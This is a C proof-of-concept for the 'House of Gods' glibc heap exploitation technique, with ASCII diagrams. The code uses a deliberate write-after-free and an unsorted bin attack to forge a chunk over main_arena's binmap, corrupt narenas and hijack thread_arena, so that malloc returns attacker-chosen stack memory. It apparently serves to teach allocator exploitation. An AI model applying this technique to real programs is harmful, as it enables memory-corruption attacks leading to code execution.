House of Gods

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <inttypes.h>

int main(void) {
    printf("=================\n");
    printf("= House of Gods =\n");
    printf("=================\n\n");

    printf("=== Abstract ===\n\n");
    printf("The core is to allocate a fakechunk overlapping the binmap field\n");
    printf("within main_arena at offset 0x850. The sizefield is crafted by\n");
    printf("binning chunks into smallbins or largebins. The binmap-chunk is\n");
    printf("linked into unsorted bin via WAF, allocated back, giving control\n");
    printf("over main_arena.next at offset 0x868. Unsorted bin attack corrupts\n");
    printf("narenas with a large value. Two allocations for 0xffffffffffffffc0\n");
    printf("bytes trigger reused_arena() twice, traversing the corrupted arena\n");
    printf("list and setting thread_arena to the fake arena.\n\n");

    printf("=== PoC ===\n\n");

    // ========== Allocation 1-3: Setup ==========
    void *SMALLCHUNK = malloc(0x88);
    void *FAST20 = malloc(0x18);
    void *FAST40 = malloc(0x38);

    printf("%p is our 0x90 smallchunk for forging fake size\n", SMALLCHUNK);
    printf("%p is our first fastchunk (0x20)\n", FAST20);
    printf("%p is our second fastchunk (0x40)\n\n", FAST40);

    // ========== Move smallchunk to unsorted bin ==========
    printf("Free smallchunk to move to unsorted bin...\n\n");
    free(SMALLCHUNK);

    // Simulate libc leak
    const uint64_t leak = *((uint64_t*) SMALLCHUNK);

    // ========== Allocation 4: Trigger binmap ==========
    printf("Allocate 0xa0 chunk to bin SMALLCHUNK into 0x90-smallbin\n");
    printf("This sets binmap at offset 0x855 to 0x200 - our fake size!\n\n");
    void *INTM = malloc(0x98);

    // ========== Allocation 5: Setup for binmap attack ==========
    printf("Allocate another smallchunk for binmap attack...\n");
    SMALLCHUNK = malloc(0x88);
    free(SMALLCHUNK);

    printf("Tamper with freed chunk's bk pointer (WAF bug)\n\n");
    
    /* VULNERABILITY #1: Write-after-free */
    *((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8; // Point to binmap
    /* VULNERABILITY #1 */

    printf("Redirect unsorted bin to binmap-chunk.\n");
    printf("Fix bin by setting up fastbin chunks...\n\n");

    // Setup bk chain via fastbin
    *((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
    free(FAST20);
    free(FAST40);

    printf("Unsorted bin chain:\n");
    printf("head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\n\n");

    // ========== Allocation 6: Allocate binmap chunk ==========
    printf("Allocate the binmap-chunk (size 0x1f8)...\n\n");
    void *BINMAP = malloc(0x1f8);

    printf("Success! Now we control main_arena.next and main_arena.system_mem\n\n");

    // ========== Setup unsorted bin attack ==========
    printf("Setup unsorted bin attack on narenas...\n");
    printf("Set INTM's bk to narenas-0x10\n\n");
    
    /* VULNERABILITY #2: Control over allocated chunk */
    *((uint64_t*) (INTM + 0x8)) = leak - 0xa20; // narenas - 0x10
    /* VULNERABILITY #2 */

    printf("Set main_arena.system_mem to pass size checks\n\n");
    *((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;

    // ========== Allocation 7: Unsorted bin attack ==========
    printf("Trigger unsorted bin attack by allocating INTM...\n\n");
    INTM = malloc(0x98);

    printf("narenas now contains main_arena address (very large value)\n\n");

    // ========== Inject fake arena ==========
    printf("Inject fake arena address into main_arena.next...\n");
    printf("Reusing INTM as fake arena for demo\n\n");
    
    *((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);

    // ========== Trigger reused_arena ==========
    printf("Trigger reused_arena() twice with invalid size requests...\n\n");
    
    malloc(0xffffffffffffffbf + 1); // First call: returns main_arena
    malloc(0xffffffffffffffbf + 1); // Second call: returns fake arena!

    printf("thread_arena now points to our fake arena!\n\n");

    // ========== Demonstrate control ==========
    printf("Demonstrate arbitrary allocation from fake arena...\n\n");

    // Create fake 0x70 chunk on stack
    uint64_t fakechunk[4] = {
        0x0000000000000000, 0x0000000000000073,
        0x4141414141414141, 0x0000000000000000
    };

    // Place in fake arena's 0x70-fastbin
    *((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);

    printf("Fakechunk at %p\n", fakechunk);
    printf("Target data at %p: %#lx\n\n", &fakechunk[2], fakechunk[2]);

    // ========== Allocation 8: Arbitrary allocation ==========
    printf("Request 0x70 chunk from fake arena...\n");
    void *FAKECHUNK = malloc(0x68);

    printf("Returned: %p\n\n", FAKECHUNK);
    printf("Overwriting allocated chunk changes target data: ");
    
    *((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;
    printf("%#lx\n", fakechunk[2]);

    assert(fakechunk[2] == 0x4242424242424242);

    return EXIT_SUCCESS;
}

main_arena Layout:
+0x000: mutex
+0x004: flags
+0x008: fastbinsY[10]
  ...
+0x84c: binmap[0]
+0x850: binmap[1] ← Fake chunk starts here!
+0x854: binmap[2]
+0x855: 0x02      ← Fake size (0x200)
+0x858: binmap[3]
+0x85c: ...
+0x868: next      ← We control this (main_arena.next)

Arena List After Attack:
main_arena ──next──→ fake_arena
                         ↑
                         │
                    thread_arena

Allocation Flow:
malloc(0x68) → checks thread_arena
             → thread_arena = fake_arena
             → reads fake_arena->fastbinsY[6]
             → returns stack_chunk